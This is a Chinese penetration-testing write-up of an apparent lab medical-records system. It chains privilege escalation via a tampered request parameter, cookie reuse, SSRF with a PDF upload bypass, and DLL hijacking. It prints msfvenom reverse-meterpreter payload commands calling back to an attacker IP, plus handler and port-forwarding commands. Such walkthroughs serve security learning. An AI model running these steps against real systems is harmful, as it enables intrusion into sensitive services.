渗透测试 | 一次某医疗系统实战

admin 2023年11月15日22:23:16评论123 views字数 2428阅读8分5秒阅读模式

渗透测试 | 一次某医疗系统实战

本次渗透的主要流程为:通过越权漏洞,得到高权限的账号,复用cookie后登录到后台,利用SSRF配合文件上传成功getshell;登录主机后,逆向dll和exe文件,从中发现提权的重要信息,最后通过dll劫持成功完成提权。整个渗透过程曲折但充满惊喜,下面开始此次渗透之旅。

一、信息收集

nmap -sC -sV -sT -T4 -Pn 10.10.11.238

渗透测试 | 一次某医疗系统实战

常规目录扫描后,并没有特别发现,于是在做一波子域名收集,发现一个子网站。

打开主网站看看,是一个病人挂号系统。

渗透测试 | 一次某医疗系统实战

子网站是一个医生登录系统;

渗透测试 | 一次某医疗系统实战

下面开始进行漏洞挖掘。

二、漏洞挖掘

越权访问

主站上注册登录后如下;

渗透测试 | 一次某医疗系统实战

翻了各项功能,都没有发现可利用的点,返回去细细看抓包的结果,有新的发现;

渗透测试 | 一次某医疗系统实战

可以看到POST包里面有个Acctype参数是=1的,将它修改成2,然后发包

渗透测试 | 一次某医疗系统实战

发现是doctor身份;

渗透测试 | 一次某医疗系统实战

但经过测试这里并没有更多有用的功能。

联想到刚才的医生登录系统,看看能不能cookie登录。

先抓取到主站身份是医生的cookie;

渗透测试 | 一次某医疗系统实战

然后直接访问子站医生登录系统,修改cookie为我们主站抓取到的cookie;

渗透测试 | 一次某医疗系统实战

果然登录成功了。

渗透测试 | 一次某医疗系统实战

因为后续要持续修改cookie,这里介绍个火狐浏览器的小工具,使用方便。

渗透测试 | 一次某医疗系统实战

到这里就通过越权访问漏洞成功登入了医生的后台。

SSRF结合上传实现getshell

成功的进入后台,左边的选项栏里,Issue Prescriptions的选项里面有个url的表单,写进去本机ip,会读取内容。

渗透测试 | 一次某医疗系统实战

本地开个http;

渗透测试 | 一次某医疗系统实战

会读取我本机的文件;

渗透测试 | 一次某医疗系统实战

尝试直接读取shell.aspx,结果失败了。

联想到SSRF,通过尝试,发现输入local的ip加8080端口,会出现一个表格;

渗透测试 | 一次某医疗系统实战

抓个包看一下,发现会返回一个pdf的地址;

渗透测试 | 一次某医疗系统实战

可以看到显示出一条读取的路径,猜测有LFI漏洞,继续看左边的选项栏,最底下是有个Upload report的选项,点进去是上传报告的。

渗透测试 | 一次某医疗系统实战

上传后,然后再次访问Issue Prescriptions,会出现用户名;

渗透测试 | 一次某医疗系统实战

Upload Report可以上传文件,存在校验只能上传pdf,但很容易通过添加pdf文件头绕过:

这里我挂上burp后网页经常卡死,后来我干脆就没用burp了,也达到了同样的效果。

先生成一个shell;

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.16.20 LPORT=6666 -f aspx -o shell.aspx

然后直接修改头部;

渗透测试 | 一次某医疗系统实战

绕过上传检测成功,并看到了返回的地址;

渗透测试 | 一次某医疗系统实战

Issue Prescription可以输入Prescription Link,这里我们输入url,可以进行SSRF,测试发现8080端口响应内容是此功能的内部访问入口,并且内部是通过aspx直接使用file参数,同时可以看到外部看不到的pdf路径:

渗透测试 | 一次某医疗系统实战

至此思路有了,通过文件上传结合SSRF来getshell。利用msf来接收反弹;

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST 10.10.16.20
set LPORT 6666
set ExitOnSession false
exploit -j   #"-j"选项表示以后台(background)模式执行漏洞利用。

渗透测试 | 一次某医疗系统实战

成功反弹后在做下进程迁移,使通道更稳定;

渗透测试 | 一次某医疗系统实战

至此getshell已经完成,下一步就是提权。

三、提权

Dll逆向

在c目录下看到inetpub目录,明显比较重要,进去递归看看,最后发现c:inetpubExaminationPanelExaminationPanelbin有很多dll,下载出来,其中ExaminationManagement.dll有东西。

渗透测试 | 一次某医疗系统实战

是.net写的,那就用dnSpy来反编译看看;

渗透测试 | 一次某医疗系统实战

根据此注册表路径查询得到key ,可以看到右边的显示有个路径Software\MedDigi,这是注册表的路径使用reg命令读取。

渗透测试 | 一次某医疗系统实战

现在得到一个密码,看到C盘的Users目录有几个users名字,进行fuzz一下;

渗透测试 | 一次某医疗系统实战

发现devdoc的用户能进;

渗透测试 | 一次某医疗系统实战

还需要继续提权。

EXE逆向

查看下主机所开放的端口;

渗透测试 | 一次某医疗系统实战

直接下载权限不够;

渗透测试 | 一次某医疗系统实战

这也解释了之前对Dll文件逆向的重要性,只有通过从注册表里找到的密码切换用户后,才可以下载

ReportManagement.exe来进行分析。

IDA分析,找到libraries目录有操作,

渗透测试 | 一次某医疗系统实战

下面又提到了externalupload

渗透测试 | 一次某医疗系统实战

发现部分有关Administrator的信息

渗透测试 | 一次某医疗系统实战

程序的大体意思就是调用libraries下的动态链接库来执行upload命令,且程序的权限是admin,

查看一下Libraries发现是空的;
icacls看一下此文件夹对应的各个用户权限,发现我们当前用户可写;

渗透测试 | 一次某医疗系统实战

思路明朗了,dll劫持,写入一个恶意dll通过upload去触发执行。

Dll劫持

整体思路就是生成个恶意dll,上传,upload命令触发执行,得到Administrator:

首先进行下端口转发,方便于后续访问触发;

简单点有2种方法;

法1:chisel端口转发
chisel server --port 8888 --reverse
./chisel.exe client 10.10.16.20:8888 R:100:127.0.0.1:100

法2:也可以用之前的msf的meterpreter端口转发
meterpreter > portfwd add -l 100 -p 100 -r 127.0.0.1

然后是生成反弹的dll;

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.16.20 LPORT=443 -f dll -o externalupload.dll

最后是上传dll文件并触发反弹;

渗透测试 | 一次某医疗系统实战

用msf来接收反弹的shell;

渗透测试 | 一次某医疗系统实战

触发反弹;

渗透测试 | 一次某医疗系统实战

至此,整个渗透过程结束

渗透测试 | 一次某医疗系统实战

原文始发于微信公众号(疯猫网络):渗透测试 | 一次某医疗系统实战

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月15日22:23:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透测试 | 一次某医疗系统实战http://cn-sec.com/archives/2209031.html

发表评论

匿名网友 填写信息